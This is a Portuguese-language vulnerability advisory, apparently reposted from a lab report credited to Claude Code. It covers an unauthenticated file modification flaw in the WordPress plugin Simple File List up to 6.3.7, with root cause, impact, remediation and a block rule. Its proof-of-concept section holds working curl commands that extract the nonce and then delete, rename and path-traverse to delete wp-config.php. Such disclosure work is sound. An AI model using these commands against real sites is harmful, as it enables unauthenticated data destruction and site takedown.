CVE-2026-11912: Simple File List <= 6.3.7 - Autorização Ausente para Modificação de Arquivo Não Autenticada

Resumo Executivo

Detalhes da Vulnerabilidade

Descrição

O plugin Simple File List para WordPress é vulnerável a modificação arbitrária de arquivos devido a verificações de autorização insuficientes em todas as versões até, e incluindo, a 6.3.7. Isso possibilita que atacantes não autenticados excluam e modifiquem arquivos no servidor.

Análise da Causa Raiz

A vulnerabilidade existe porque:

1. Registro de Endpoint AJAX: A ação AJAX simplefilelist_edit_job é registrada com ambos os hooks wp_ajax_ e wp_ajax_nopriv_, permitindo acesso não autenticado:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. Verificação de Autorização Falha: A lógica de autorização em eeSFL_FileEditor() (linha 1265) usa:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   A função is_admin() retorna FALSE para requisições AJAX, fazendo com que a verificação de autorização seja interrompida antes que a configuração AllowFrontManage seja avaliada.

3. Exposição do Nonce: O nonce de segurança (eeSFL_ActionNonce) é gerado usando wp_create_nonce() e exposto no código-fonte HTML do frontend, permitindo que atacantes o extraiam sem autenticação.

Avaliação de Impacto

Impacto na Confidencialidade: Alto

• O conteúdo dos arquivos pode ser lido através da listagem de arquivos
• Metadados de arquivos expostos (nomes, tamanhos, datas)

Impacto na Integridade: Alto (CRÍTICO)

• Exclusão não autenticada de arquivos
• Renomeação não autenticada de arquivos
• Modificação não autenticada da descrição de arquivos
• Path traversal permite exclusão de arquivos críticos (incluindo wp-config.php)

Impacto na Disponibilidade: Nenhum

• Operações em arquivos não causam diretamente DoS, mas podem afetar indiretamente a disponibilidade através da exclusão de arquivos

Exploração no Mundo Real Demonstrada

Durante os testes, essa vulnerabilidade foi explorada com sucesso para EXCLUIR o arquivo de configuração do WordPress (wp-config.php), quebrando completamente o site. Isso demonstra a gravidade crítica do aspecto de path traversal dessa vulnerabilidade.

Etapas de Exploração do PoC

Passo 1: Extrair Nonce do Frontend

# Obter o nonce de segurança da página de listagem de arquivos
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Saída: eeSFL_ActionNonce">1c14af78c2

Passo 2: Exclusão de Arquivo Não Autenticada

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Resposta: SUCCESS

Passo 3: Renomeação de Arquivo Não Autenticada

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Resposta: SUCCESS

Passo 4: Path Traversal (CRÍTICO - Excluir wp-config.php)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Resposta: SUCCESS (CRÍTICO - Isso quebra o site!)

Remediação

Ações Imediatas

1. Atualizar Plugin: Atualize para a versão 6.3.8 ou superior do Simple File List
2. Verificar Comprometimento: Audite o sistema de arquivos em busca de modificações não autorizadas
3. Restaurar Backups: Se o wp-config.php foi afetado, restaure a partir de um backup

Mitigações Temporárias (se a atualização não for possível imediatamente)

1. Desative o plugin Simple File List até que seja corrigido
2. Remova todas as páginas que contenham o shortcode [eeSFL]
3. Implemente regras de WAF para bloquear requisições AJAX suspeitas:
   root@kitploit:~

   # Bloquear chamadas AJAX simplefilelist_edit_job
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

Recomendações de Longo Prazo

• Implemente validação de origem da requisição (proteção CSRF)
• Adicione verificações de capacidade para todas as operações em arquivos
• Limite a taxa de endpoints AJAX
• Monitore logs para operações suspeitas em arquivos

Referências

• Wordfence Intelligence
• Página do Plugin Simple File List
• SVN Trunk do Plugin

Ambiente de Teste

• Laboratório: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• Versão do Plugin Testada: 6.3.7
• Versão do WordPress: Última (PHP 8.4)

Relatório gerado por Claude Code - Laboratório de Testes de Segurança WordPress Data: 20 de Junho de 2026